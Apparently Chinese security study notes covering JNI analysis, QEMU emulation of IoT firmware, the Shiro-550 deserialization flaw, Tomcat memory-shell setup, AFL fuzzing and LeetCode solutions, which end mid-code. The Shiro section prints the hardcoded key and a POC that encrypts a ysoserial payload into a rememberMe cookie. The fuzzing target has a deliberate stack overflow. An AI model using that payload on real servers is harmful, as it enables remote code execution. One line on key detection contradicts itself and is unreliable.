JAVA代码从头往下的相关函数调用,其中相关的动态链接库中的代码就是Native Code,用IDA打开即为相关的汇编代码,可以直接运行在对应的操作系统CPU上的。但是在下面的分析中,还是看它的源代码形式,比如C/C++形式。

Java Native Interface (JNI)

image-20230318160018163

用来和相关动态链接库进行交互的编程框架,比如JAVA就可以调用到C/C++编写的动态链接库,即为JNI框架

Why Native Code is Hard to Analyze?

image-20230318162255276

JNI例子中,首先加载动态链接库,声明函数。其中*env变量用来传递JAVA中相关的一些信息,可以在Native Code中创建对象、属性、调用JAVA中的方法等。主要问题是跨语言之后,如何静态分析je.guessMe()这个调用?

参考:【课程笔记】南大软件分析课程12——Soundiness(课时16) - 简书 (jianshu.com)

因为Native Code是在库里面了,其源代码基本没有,只有一个接口库文件.so/.dll,那么就比较难进行分析了。

How to Handle Native Code?

image-20230318162203276

手动建模分析

Native Code Modeling (Example)

image-20230318163010673

直接将对应的函数简化成JAVA代码来进行分析,相当于hook掉相关的API,然后用类似功能的JAVA代码来替换掉。

前沿

image-20230318163145075

前沿的一些分析,此外可以参考http://soundiness.org进行深入研究。

总结

image-20230318163231858

理解Soundiness的大概概念,以及JAVA反射机制和Native Code为什么比较难分析。

IOT环境搭建

一、固件处理

1.获取

要么提取,要么从官网下载

2.解包

一般常用binwalk,有时候可能涉及加密、获取组件相关问题

参考:D-Link DIR-815 路由器多次溢出漏洞分析 | Lantern’s 小站

二、环境搭建

1.简单启动

IOT相关的基本都是涉及嵌入式,不同架构,常见有arm、mips等,以mips为例子

参考:[原创] 从零开始复现 DIR-815 栈溢出漏洞-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

一般用qemu加上对应架构的**linux内核文件系统**来启动,比如如下脚本

1
2
3
4
5
qemu-system-mipsel \
-M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-nographic

就可以启动一个系统

2.网络配置

最好的肯定是模拟真实的环境,那模拟真实环境肯定就需要涉及到相关网络问题,这里就需要用到qemu一些网络的配置,参考:(46条消息) Linux 内核调试 七:qemu网络配置_lqonlylove的博客-CSDN博客_qemu 网络配置

结合一下,大概如下

  • 宿主机新建tap网络

    1
    2
    3
    sudo ip tuntap add dev tap0 mode tap
    sudo ip link set dev tap0 up
    sudo ip address add dev tap0 192.168.2.128/24

    这样就会出现如下网络后端

    image-20221202190656170

  • 然后如下启动脚本,加入网络配置

    1
    2
    3
    4
    5
    6
    7
    #!/bin/bash
    qemu-system-mipsel \
    -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
    -hda debian_squeeze_mipsel_standard.qcow2 \
    -append "root=/dev/sda1 console=tty0" \
    -net nic -net tap,ifname=tap0,script=no,downscript=no \
    -nographic
  • 启动之后,在qemu中设置相关IP地址,然后启用

    1
    2
    ip addr add 192.168.2.129/24 dev eth0
    ip link set eth0 up

    这样就可以有IP地址了,当然这些IP地址都是自己设置的

    image-20221202191218116

    这样就宿主机和qemu虚拟机就可以连通了,之后就是相关的服务启动了

    image-20221202191300164

3.常见配置

很多的IOT都是squashfs这个文件系统,binwalk解包出来会有一个squashfs-root文件夹,然后我们可以将该文件系统通过scp拷贝进启动的qemu虚拟机,之后进行简单的设置即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
scp -r ./squashfs-root root@ip:/root/

#进入qemu虚拟机,挂载系统的proc固件目录下的proc,防止程序在访问内核信息时找不到相关的而运行错误
mount --bind /proc squashfs-root/proc

#更换一下root目录,为文件系统的相关链接库做准备
chroot . bin/sh

#然后还需要改一下软连接、软路由啥的,比如DIR-645的漏洞,就需要创建一些软连接,如下
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap

#启动服务就行
/usr/bin/httpd -f http_conf

三、CGI配置

很多时候的嵌入式Web页面都是用CGI的,所以可以稍微学习一下相关CGI

1.环境搭建

这里就选择ubuntu自带的mini-httpd服务

1
sudo apt install mini-httpd

然后相关的配置在/etc/mini-httpd.conf,主要关注如下

image-20221207103833732

相关端口也是设置好

image-20221207103738798

然后需要在数据目录,即/var/www/html下新建cgi-bin目录,然后把相关CGI程序放到该cgi-bin目录下即可。

2.启动服务

如下,设置一下启动配置文件即可运行了

1
sudo mini_httpd -C /etc/mini-httpd.conf

然后即可访问到默认界面

image-20221207104046784

3.编写CGI

CGI和正常C程序是一样的,直接编译之后放到对应cgi-bin目录下即可,比如如下程序

image-20221207104240311

编译如下

1
gcc ./test.c -static -o test.cgi

访问效果如下

image-20221207104257725

这里需要注意要直接printf显示出来的话,需要设置相关的html格式,这里即可先进行了

1
printf( "Content-Type: text/plain\r\n\r\n" );

之后即可自己写一些CGI来玩耍了。

感觉CGI的很多的不安全性就是在于直接运行了一个可执行程序,而该可执行程序大多都是用C语言编写的,安全性可想而知。

WEB中间件漏洞

Shiro

1.Shiro-550

对应CVE-2016-4437

参考:Shiro 550 漏洞学习(一) (yuque.com)

(1)利用版本

1.2.4及以下

(2)漏洞原理

Apache Shiro框架提供了记住密码功能,登录成功的话会将用户的登录信息进行经过AES加密然后base64编码,放在CookierememberMe字段,大致如下

image-20221122090810999

那么在服务端就会对该rememberMe字段进行base64解码,然后AES解密,最后再反序列化,如果我们构造恶意的rememberMe字段,这样就会导致反序列化的RCE漏洞。同时,由于AES加解密的KEY是硬编码写在源码中的,我们可以直接获得。

(3)漏洞环境

简单搭建

源码构建Shiro

参考(48条消息) shiro debug 调试_scanner010的博客-CSDN博客

  • 下载源码:apache/shiro: Apache Shiro (github.com)

    然后换成1.2.4git checkout shiro-root-1.2.4

  • jstl版本切换

    打开shiro/samples/web/pom.xml,更换jstl版本

    image-20221122092207371

    之后重新reload一下即可

  • Tomcat部署

    image-20221122092453428

    然后配置一下Web界面

    image-20221122092527995

    如下添加即可

    image-20221122092557904

    之后运行或调试即可

(4)漏洞流程分析

rememberMe解析流程

1
2
3
4
5
6
7
8
AbstractRememberMeManager.getRememberedPrincipals
CookieRememberMeManager.getRememberedSerializedIdentity //获取Cookie中的remember字段,并且进行base64解码

AbstractRememberMeManager.convertBytesToPrincipals
AbstractRememberMeManager.decrypt
AbstractRememberMeManager.deserialize

DefaultSerializer.deserialize

大致图解如下

image-20221122114903998

(5)漏洞代码分析

  • AbstractRememberMeManager.getRememberedPrincipals

    当一个涉及到用户信息的请求来时,首先是进入rememberMe管理函数

    image-20221122115116077

  • CookieRememberMeManager.getRememberedSerializedIdentity

    AbstractRememberMeManager.getRememberedPrincipals函数中调用getRememberedSerializedIdentity尝试获取base64解码后的rememberMe字段

    image-20221122120445903

  • AbstractRememberMeManager.convertBytesToPrincipals

    随即调用convertBytesToPrincipals函数进行后续操作

    image-20221122120543984

    • AbstractRememberMeManager.decrypt

      convertBytesToPrincipals函数中调用到decrypt函数,通过getDecryptionCipherKey获取密钥尝试对base64解码后的Cookie进行AES解密

      image-20221122120725908

      一层一层撸下来,如下所示,可以在AbstractRememberMeManager中找到对应的硬编码的key

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      public byte[] getDecryptionCipherKey() {
      return decryptionCipherKey;
      }

      public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
      this.decryptionCipherKey = decryptionCipherKey;
      }

      public void setCipherKey(byte[] cipherKey) {
      //Since this method should only be used in symmetric ciphers
      //(where the enc and dec keys are the same), set it on both:
      setEncryptionCipherKey(cipherKey);
      setDecryptionCipherKey(cipherKey);
      }

      public AbstractRememberMeManager() {
      this.serializer = new DefaultSerializer<PrincipalCollection>();
      this.cipherService = new AesCipherService();
      setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
      }

      private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
    • AbstractRememberMeManager.deserialize

      解密完成之后,回到AbstractRememberMeManager.convertBytesToPrincipals函数中即进行反序列化

      image-20221122121659679

      调用到了DefaultSerializer.deserialize来完成最后的反序列化过程

(6)漏洞利用

即将我们的恶意反序列化链进行相关编码加密,在登录时勾选rememberMe,然后抓包设置为rememberMe字段发送到服务器即可,常用的链条为CC1CC6CC10cc11

  • 相关POC

    使用ysoserial生成序列化链条cc1然后编码加密即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;

import java.nio.file.FileSystems;
import java.nio.file.Files;

public class shiroDemo {
public static void main(String[] args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/home/hacker/Desktop/WEB/JAVA/JavaThings/cc11"));

AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

(7)漏洞检测

  • dnslog

  • key检测

    key正确则显示deleteMe,反之则显示deleteMe

(8)漏洞修复

官方修复是key的随机生成

2.Shiro-721

这个就先不复现了,比较没有实用价值

Tomcat

1.内存马

参考:Tomcat 内存马学习(一):Filter型 (yuque.com)

这个不能算漏洞,只能算一种写木马的方式吧

由于Tomcat的机制问题,存在很多可以写内存马的地方,依据[wjlshare师傅博客](Tomcat 内存马学习(一):Filter型 – 天下大木头 (wjlshare.com))介绍主要有如下几种

  • servlet-api类

    • filter型
    • servlet型
  • spring类

    • 拦截器
    • controller型
  • Java Instrumentation类

    • agent型

servlet-api类

先需要探讨一下该机制,大概流程如下

参考:中间件内存马注入&冰蝎连接 (seebug.org)

image-20221122181418299

然后简单构建一下环境

  • 创建项目

image-20221122174929458

  • 添加一下Web框架

    image-20221122175006785

  • 导入对应Tomcatservlet-api依赖

    image-20221122175223681

    image-20221122175306009

    image-20221122175623013

  • 然后就可以创建Servlet-Filter

    image-20221122175715777

  • 创建之后需要在web/WEB-INF/web.xml中加入创建的filter

    image-20221122175937704

    这里设置了url-pattern/*,表示所有的url都会经过该filter

  • 然后配置一下Tomcat服务器即可

    image-20221122180133583

    image-20221122180208208

    image-20221122180232020

  • 相关代码

    image-20221122180706555

    • Servlet

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      import javax.servlet.*;
      import javax.servlet.http.*;
      import javax.servlet.annotation.*;
      import java.io.IOException;

      @WebServlet(name = "Servlet", value = "/Servlet")
      public class Servlet extends HttpServlet {
      @Override
      protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
      response.getWriter().write("MyServlet");
      }

      @Override
      protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

      }
      }
    • MyFilter

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      import javax.servlet.*;
      import javax.servlet.annotation.*;
      import java.io.IOException;

      @WebFilter(filterName = "MyFilter")
      public class MyFilter implements Filter {
      public void init(FilterConfig config) throws ServletException {

      }

      public void destroy() {
      }

      @Override
      public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
      response.getWriter().write("MyFilter");
      chain.doFilter(request, response);
      }
      }

  • 运行起来即可看到

    任意存在的URL访问都会执行设置的MyFilter

    image-20221122180751396

    image-20221122180802377

当然一般是给对应的Servlet来对应的filter,修改一下web.xml里的url-pattern即可

①机制流程

TIPS

  • IDEA中按两下shift键可以快速搜索项目中的类

    image-20221122110956487

AFL

一、简单测试

1
2
3
4
5
6
7
8
9
10
11
int main(int argc, char const *argv[])
{
int a;
char buf[0x20];
read(0,&a,4);
if(a == 0x1234){
printf("You get it!\n");
read(0,buf,0x60);
}
return 0;
}

1.基础尝试

(1)白盒

①基础

首先使用简单的afl-clang-fast来编译

1
afl-clang-fast ./test.c -z execstack -fno-stack-protector -no-pie -z norelro -o afl_test

然后跑起来,速度大约是11.6k

image-20220930135610901

大概跑了6分钟,出现了第一个crash,查看一下,是大小为0x76

image-20220930140345079

然后蒸馏一下afl-tmin -i inputSeed -o outSeed programer

image-20220930141806144

大小变为了0x2d,减去开始的4个字节,为0x29,再看看IDA反汇编出来的

image-20220930142125276

可以看到确实距离rbp0x28,多溢出一个字节就可以覆盖到rbp了。

此外设置的标志int v4也在buf上面,而非正常编译的先声明的更靠近栈底。

另外实际gdb调试的,其main函数栈不再是通过leave ret来返回了,而是直接add rsp 0x38,而rbp为0

image-20220930142617012

main函数实际的返回地址距离buf0x28倒是也能说的过去,就是不知道为什么要这么做。

②尝试__AFL_INIT()

在源码中加入__AFL_INIT(),参考:

sakuraのAFL源码全注释(二)-安全客 - 安全资讯平台 (anquanke.com)

AFL-Training学习记录-安全客 - 安全资讯平台 (anquanke.com)

sakura师傅介绍说,目的是为了在某些情况下可以减少操作系统、链接与libc内部执行程序的成本

iskindar师傅介绍说,这是采用Deferred initialization的方式来提高AFL的性能,大概提高1.5x,最合适的地方是放在read函数前。也就是下面这几行代码。

1
2
3
#ifdef __AFL_HAVE_MANUAL_CONTROL
__AFL_INIT();
#endif

放入进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

int main(int argc, char const *argv[])
{
int a;
char buf[0x20];
#ifdef __AFL_HAVE_MANUAL_CONTROL
__AFL_INIT();
#endif
read(0,&a,4);
if(a == 0x1234){
printf("You get it!\n");
#ifdef __AFL_HAVE_MANUAL_CONTROL
__AFL_INIT();
#endif
read(0,buf,0x60);
}
return 0;
}

之后正常编译

1
afl-clang-fast ./test.c -z execstack -fno-stack-protector -no-pie -z norelro -o afl_test

也相差无几,可能是程序太小,相关的libc库调用太少吧

image-20220930143810066

发现crash之后蒸馏得到的和不加__AFL_INIT()是一样的。

③尝试__AFL_LOOP(1000)

persistent模式,常常用来fuzz某些无状态的API

iskindar师傅介绍说,对于一些无状态的API库,可以复用进程来测试多个测试样例,从而减少fork系统调用的使用,进而减少OS的开销。

  • 状态:指的是交互过程中保存的会话信息,比如cookie、session

那么无状态的API指的就是在这个API里没有保存状态了。

先不使用__AFL_LOOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include "noStateAPI.h"

int main(int argc, char const *argv[])
{
int a;
char buf[0x60];
#ifdef __AFL_HAVE_MANUAL_CONTROL
__AFL_INIT();
#endif
read(0,&a,4);
//read(0,buf,0x60);
vul(&a,buf);
return 0;
}

库如下

1
2
3
4
5
6
7
8
#include "noStateAPI.h"
void vul(int* flag,char* data){
char buf[0x20];
if(*flag == 0x1234){
//strcpy(buf,data);
read(0,buf,0x60);
}
}

编译加FUZZ

1
2
afl-clang-fast ./testNoLoopAPI.c ./noStateAPI.c -z execstack -fno-stack-protector -no-pie -z norelro -o afl_API_noLoop_test
afl-fuzz -i otherIn -o afl_API_noLoop_out ./afl_API_noLoop_test

开始运行之后会有(odd, check syntax!),但是运行一段时间后就没有了,不太知道为啥

image-20220930194310537

最后大概五六分钟也能得到crash

加入__AFL_LOOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include "noStateAPI.h"

int main(int argc, char const *argv[])
{
int a;
char buf[0x60];

read(0,&a,4);
#ifdef __AFL_HAVE_MANUAL_CONTROL
while (__AFL_LOOP(1000)) {
#endif
vul(&a,buf);
#ifdef __AFL_HAVE_MANUAL_CONTROL
}
#endif
return 0;
}

然后编译FUZZ

1
2
afl-clang-fast ./testAPI.c ./noStateAPI.c -z execstack -fno-stack-protector -no-pie -z norelro -o afl_API_test
afl-fuzz -i otherIn -o afl_API_out ./afl_API_test

但是这个跑一个小时都没出结果,很奇怪,不知道为什么,难道说有read或者有比对值的代码

1
2
3
4
if(*flag == 0x1234){
//strcpy(buf,data);
read(0,buf,0x60);
}

就代表是有状态的API

(2)黑盒

此外使用正常的gcc编译后,采用黑盒测试时

1
afl-fuzz -Q -i in -o hei_out ./test

速度下降一大截

image-20220930142948733

不过还是能够发现crash,大概跑了十五六分钟。

image-20220930144540473

可以看到大小是0x4f,减去标志的4个字节即为0x4b,与期待的大概0x39字节还是相差一点

image-20220930144649388

此外黑盒好像没办法蒸馏

image-20220930144817799

二、变异策略

详见:AFL文件变异一览 - 记事本 (rk700.github.io)

算法笔记

LeetCode题目

两数之和

给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。

你可以假设每种输入只会对应一个答案。但是,数组中同一个元素在答案里不能重复出现。

你可以按任意顺序返回答案。

image-20220911122050526

遍历nums中的元素numnum索引为i,判定target-num这个元素是否在nums[i+1,len(nums)],在则成功

1
2
3
4
5
6
7
8
9
10
class Solution:
def twoSum(self, nums: List[int], target: int) -> List[int]:
result = []
for i in range(len(nums)):
flag = target - nums[i]
if(flag in nums[i+1:len(nums)]):
result.append(i)
result.append(nums.index(flag,i+1))
break
return result

C语言

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int* twoSum(int* nums, int numsSize, int target,int* returnSize){
int flag = 0;
int* returnArray = (int*)malloc(0x8);
for(int i = 0 ; i < numsSize ; i++){
flag = target - nums[i];
for (int j = i+1 ; j < numsSize ; j++){
if(flag == nums[j]){
returnArray[0] = i;
returnArray[1] = j;
*returnSize=2;
return returnArray;
}
}
}
return returnArray;
}

回文数

挨个计算其模10的余数,打造回文数,判断与原数是否相等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bool isPalindrome(int x){
if(x < 0){
return false;
}
int num = x;
long int cur = 0;
while( num != 0){
cur = cur*10 + num%10;
num /= 10;
}
if(cur == x){
return true;
}else{
return false;
}
}

最长公共前缀

image-20221012215550610

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
char * longestCommonPrefix(char ** strs, int strsSize){
if(strsSize == 0){
return "";
}
for(int j = 0 ; j < strsSize ; j ++){
if(sizeof(strs[j]) == 0){
return "";
}
}
char* ans = strs[0];
char* com = malloc(0x200);
int flag = 0;
int len = 0;
for(int i = 0 ; i < sizeof(ans); i ++){
flag = 0;
for(int j = 0 ; j < strsSize ; j ++){
if(ans[i] == strs[j][i]){
flag += 1;
} else{
break;
}
}
if(flag == strsSize){
continue;
} else{
if(i == 0){
return "";
}
len = flag;
break;
}
}
ans[len] = '\x00';
return ans;
}

两数相加

image-20220911184123445

进位计算,通过carry = sum / 10;来获取进位,sum = sum % 10;获取进位之后的值,然后用头节点依次串联起来,注意写的时候不要用局部变量当作返回结点,而是再分配一块内存来当作返回结点变量,不然会出错,可能是局部变量被覆盖之类的吧。

画解算法:2. 两数相加 - 两数相加 - 力扣(LeetCode)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct ListNode* addTwoNumbers(struct ListNode* l1, struct ListNode* l2){
struct ListNode* headNode = (struct ListNode*)malloc(0x10);
struct ListNode* curNode = headNode;
int carry = 0;
int sum = 0;
while(l1 != NULL || l2 != NULL) {
int x = l1 == NULL ? 0 : l1->val;
int y = l2 == NULL ? 0 : l2->val;
sum = x + y + carry;
carry = sum / 10;
sum = sum % 10;

curNode->next = (struct ListNode*) malloc(0x10);
curNode->next->val = sum;
curNode->next->next = NULL;
curNode = curNode->next;

if(l1 != NULL)
l1 = l1->next;
if(l2 != NULL)
l2 = l2->next;
}
if(carry == 1){
curNode->next = (struct ListNode*)malloc(0x10);
curNode->next->val = carry;
curNode->next->next = NULL;
}
return headNode->next;
}

字符串转整数

image-20220912124644320

自动机

依据每个状态进行转换,即确定所有状态,已经该状态的下个状态都有什么,这里就是如下所示的表格

空格 符号+/- 数字 其他符号
start start signed in_number end
signed end end in_number end
in_number end end in_number end
end end end end end

同时编程时设定

  • 状态statestartsignedin_numberend

  • ans:获取到的数字的值

  • 符号sign1为正数、-1为负数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
INT_MAX = 2 ** 31 - 1
INT_MIN = -2 ** 31

class Automaton:
def __init__(self):
self.state = 'start'
self.sign = 1
self.ans = 0
self.table = {
'start': ['start', 'signed', 'in_number', 'end'],
'signed': ['end', 'end', 'in_number', 'end'],
'in_number': ['end', 'end', 'in_number', 'end'],
'end': ['end', 'end', 'end', 'end'],
}

def get_col(self, c):
if c.isspace():
return 0
if c == '+' or c == '-':
return 1
if c.isdigit():
return 2
return 3

def get(self, c):
self.state = self.table[self.state][self.get_col(c)]
if self.state == 'in_number':
self.ans = self.ans * 10 + int(c)
self.ans = min(self.ans, INT_MAX) if self.sign == 1 else min(self.ans, -INT_MIN)
elif self.state == 'signed':
self.sign = 1 if c == '+' else -1

class Solution:
def myAtoi(self, str: str) -> int:
automaton = Automaton()
for c in str:
automaton.get(c)
return automaton.sign * automaton.ans

最长回文子串

中心扩散法

动态规划

首先明确一个字符串,如果首尾两个字符相同,并且去掉这两个字符后的字符串还是回文字符串,那么这个字符串即为回文字符串。

abcba -> 去掉首尾aa -> bcb还是回文字符串,那么该字符串abcba即为回文字符串,这样就可以由大化小。

状态设定

首先定义一个二维数组状态dp[i][j]即为str[i:j],若其值dp[i][j]True,则代表子字符串str[i:j]为回文字符串。然后确定最开始的状态表,即最小的元素dp[i][i]

i\j 0 1 2 .. n
0 True
1 True
2 True
.. True
n True

一个字符的子字符串一定为True,然后依据这个来判断外面的字符串是否为回文字符串。

状态转换方程

由上可得,对应子字符串str[i:j]为回文字符串的必要条件为字符串str[i+1:j-1]为回文字符串,那么即可从小状态dp[i+1][j-1]赋值给大状态dp[i][j]

1
2
if(str[i] == str[j]):
dp[i][j] = dp[i+1][j-1]

那么定义完成边界之后,就可以进行相关代码编写了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
myStr = "cbdsgfsdaadsas"
myLen = len(myStr)
dp = [[False] * myLen for _ in range(myLen)]
max_len = 1
begin = 0
for i in range(myLen):
dp[i][i] = True
for L in range(2,myLen + 1):
for i in range(myLen):
j = i + L - 1
#设定最大右边界
if( j >= myLen):
break
if(myStr[i] != myStr[j]):
dp[i][j] = False
else:
if j-i < 3 :
dp[i][j] = True
else:
dp[i][j] = dp[i+1][j-1]
if(dp[i][j] and L > max_len):
max_len = L
begin = i
print(myStr[begin:begin+max_len])

无重复字符的最长子串

image-20220914111707372

滑动窗口

比如一个字符串strpwwkew,首先从str[0]开始创建一个队列queue,其中元素为str[0]

  • str[1]加入队列,满足无重复要求
  • 之后将str[2]加入队列,发现不满足要求,记录此时的字符串长度为L,记下起始位置i并且和max_len对比取大值。
  • 这时将队首元素str[0]移出队列,发现还是不满足要求,再将新的队首元素str[1]移出队列,发现满足要求了,接着循环
  • str[3]加入队列,满足要求,依次循环

每一步大概如下

123

在加入队列不满足要求的时候记录此时的其实位置i和字符串长度L来取值比较即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Solution {
public int lengthOfLongestSubstring(String s) {
Set<Character> queue = new HashSet<Character>();
int n = s.length();
int rightPoint = 0, max_len = 0;
int L = 0;
for(int i = 0 ; i < n ; i ++){
while ( (rightPoint < n) && !queue.contains(s.charAt(rightPoint))){
queue.add(s.charAt(rightPoint));
rightPoint++;
}
L = rightPoint-i;
if(L > max_len){
max_len = L;
}
if(rightPoint < n -1){
if(i == 0){
queue.remove(s.charAt(0));
}else {
queue.remove(s.charAt(i));
}
}else {
return max_len;
}
}
return max_len;

}
}

岛屿数量

image-20220914111803102

深度优先搜索DFS

类似如下所示,遍历顺序为黄->紫->红->绿->蓝

DFS

即依据一个结点,从该结点的上下左右往外扩散遍历所有结点,遇到一个结点就进去遍历,核心思想是发现结点,先进再说。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Solution:
def numIslands(self, grid: [[str]]) -> int:
count = 0
def dfs(grid,i,j):
#表示该结点已经遍历过了
grid[i][j] = '0'
if((i-1 >= 0) and grid[i-1][j] == '1'):
dfs(grid,i-1,j)
if((i+1 < len(grid)) and grid[i+1][j] == '1'):
dfs(grid,i+1,j)
if((j-1 >= 0) and grid[i][j-1] == '1'):
dfs(grid,i,j-1)
if((j+1 < len(grid[0])) and grid[i][j+1] == '1'):
dfs(grid,i,j+1)

for i in range(0,len(grid)):
for j in range(0,len(grid[0])):
if(grid[i][j] == '1'):
dfs(grid,i,j)
count = count + 1
return count

广度优先搜索BFS

类似如下所示,遍历顺序同样为黄->紫->红->绿->蓝,相当于是一层一层的

BFS

但是这样就需要用到一个队列,从一个结点出发的下一层都放到该队列尾部,然后从队首取结点,再遍历,将该结点的下一层也放入队列尾部,依次循环。

有点像将一个结点的出口点全面存储起来放到一个队列的最后一起进行遍历

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Solution:
def numIslands(self, grid: [[str]]) -> int:
count = 0
def bfs(grid,i,j):
queue = [[i,j]]
while queue:
[i,j] = queue.pop(0)
#可能存在放入队列的重复结点,所以需要再判断
if(grid[i][j] == '1'):
grid[i][j] = '0'
if((i-1 >= 0) and grid[i-1][j] == '1'):
queue.append([i-1,j])
if((i+1 < len(grid)) and grid[i+1][j] == '1'):
queue.append([i+1,j])
if((j-1 >= 0) and grid[i][j-1] == '1'):
queue.append([i,j-1])
if((j+1 < len(grid[0])) and grid[i][j+1] == '1'):
queue.append([i,j+1])

for i in range(0,len(grid)):
for j in range(0,len(grid[0])):
if(grid[i][j] == '1'):
bfs(grid,i,j)
count = count + 1
return count

盛最多水的容器

贪心算法、双指针

image-20220914165747824

确定两个指针从头尾开始,依次往中间收缩,由于是装水容量由短板决定,所以对于例子container[0:8]组成的容器来说,左指针对应高度小于右指针对应高度,所以右指针如果往左移动,其容量只会减少。那么我们就尝试将左指针往右移动,企图寻找更大的容器。

其证明感觉没见到几个讲的很清楚的。

这里需要明白一点,最大的容器左右边界之外如果还有边界,那么外面的边界的最大值一定比这个最大容器的短板更短,如果更长,那么挪过去之后,肯定容器更大了。

1
2
3
4
5
6
7
8
9
10
11
12
13
class Solution:
def maxArea(self, height: List[int]) -> int:
i = 0
res = 0
j = len(height)-1
while i < j:
if(height[i] < height[j]):
res = max(res,height[i]*(j-i))
i += 1
else:
res = max(res,height[j] * (j-i))
j -= 1
return res

([)]

螺旋矩阵

自动机

number 符号##/边界
right right down
down down left
left left up
up up right

由此写出自动机相关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

class Automaton:
def __init__(self,matrix):
self.matrix = matrix
self.state = 'right'
self.i = 0
self.j = -1
self.myList = []
self.table = {
'right': ['right', 'down'],
'down': ['down', 'left'],
'left': ['left', 'up'],
'up': ['up', 'right'],
}


def get_col(self,i,j):
if j >= len(self.matrix[0]) or (i >= len(self.matrix)) or (j < 0) or (i < 0):
return 1
if self.matrix[i][j] == '#':
return 1
if isinstance(self.matrix[i][j],int):
return 0


def nextState(self,i,j):
if (self.state == "right"):
j += 1
if (self.state == "down"):
i += 1
if (self.state == "left"):
j -= 1
if (self.state == "up"):
i -= 1
self.state = self.table[self.state][self.get_col(i,j)]

def start(self):
for i in range(len(self.matrix)*len(self.matrix[0])):
self.nextState(self.i,self.j)
if(self.state == "right"):
self.j += 1
if(self.state == "down"):
self.i += 1
if(self.state == "left"):
self.j -= 1
if(self.state == "up"):
self.i -= 1
self.myList.append(self.matrix[self.i][self.j])
self.matrix[self.i][self.j] = '#'

class Solution:
def spiralOrder(self, matrix: List[List[int]]) -> List[int]:
test = Automaton(matrix)
test.start()
return test.myList

另一个方法是获取依照层进行遍历,当遍历完一层之后,去掉外层,然后再遍历。

(top,left)、(top,right)、(bottom,left)、(bottom,right)为矩阵边界点,每次遍历完一层之后,对相应的结点数据进行增减。

二叉树最大深度

深度优先动态规划

明确一个公式

deepth(root) = max(deepth(root.rigth),deepth(root.left)) + 1

即每一个二叉树的深度等于其左子树和右子树中的最大深度再加上根节点,然后其左子树和右子树又可以被当作一个新的二叉树来进行获得其深度,类似动态规划的递归写法。

1
2
3
4
5
6
7
8
9
10
11
12
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, val=0, left=None, right=None):
# self.val = val
# self.left = left
# self.right = right
class Solution:
def maxDepth(self, root: Optional[TreeNode]) -> int:
if(root is None):
return 0
else:
return max(self.maxDepth(root.right),self.maxDepth(root.left)) + 1

不同的二叉搜索树

image-20220916201554961

动态规划

  • 假设G(n)为n个结点的所有二叉搜索树个数

  • 假设f(i)为以i为根节点的所有二叉搜索树个数

  • 那么可以得出

    G(n)=f(1)+f(2)+f(3)+f(4)+...+f(n)

  • 而对于f(i),有

    f(i) = G(i-1)*G(n-i)

  • 推导得出卡特兰数公式:

    G(n)=G(0)∗G(n−1)+G(1)∗G(n−2)+...+G(n−1)∗G(0)

  • 依据该公式,将每一项的展开

    • G(0) = 1;
    • G(1) = 1;
    • G(2) = G(0)∗G(1) + G(1)∗G(0)
    • G(3) = G(0)∗G(2) + G(1) * G(1) + G(2)*G(0)

依次类推,最开始时需要的元素为G(0)和G(1)可以推导得出其他所有的G(n),依据卡特兰公式即可得到状态转移方程

1
2
3
4
5
6
7
8
9
class Solution:
def numTrees(self, n: int) -> int:
dp = [0]*(n+1)
dp[0] = 1
dp[1] = 1
for i in range(2,n+1):
for j in range(0,i):
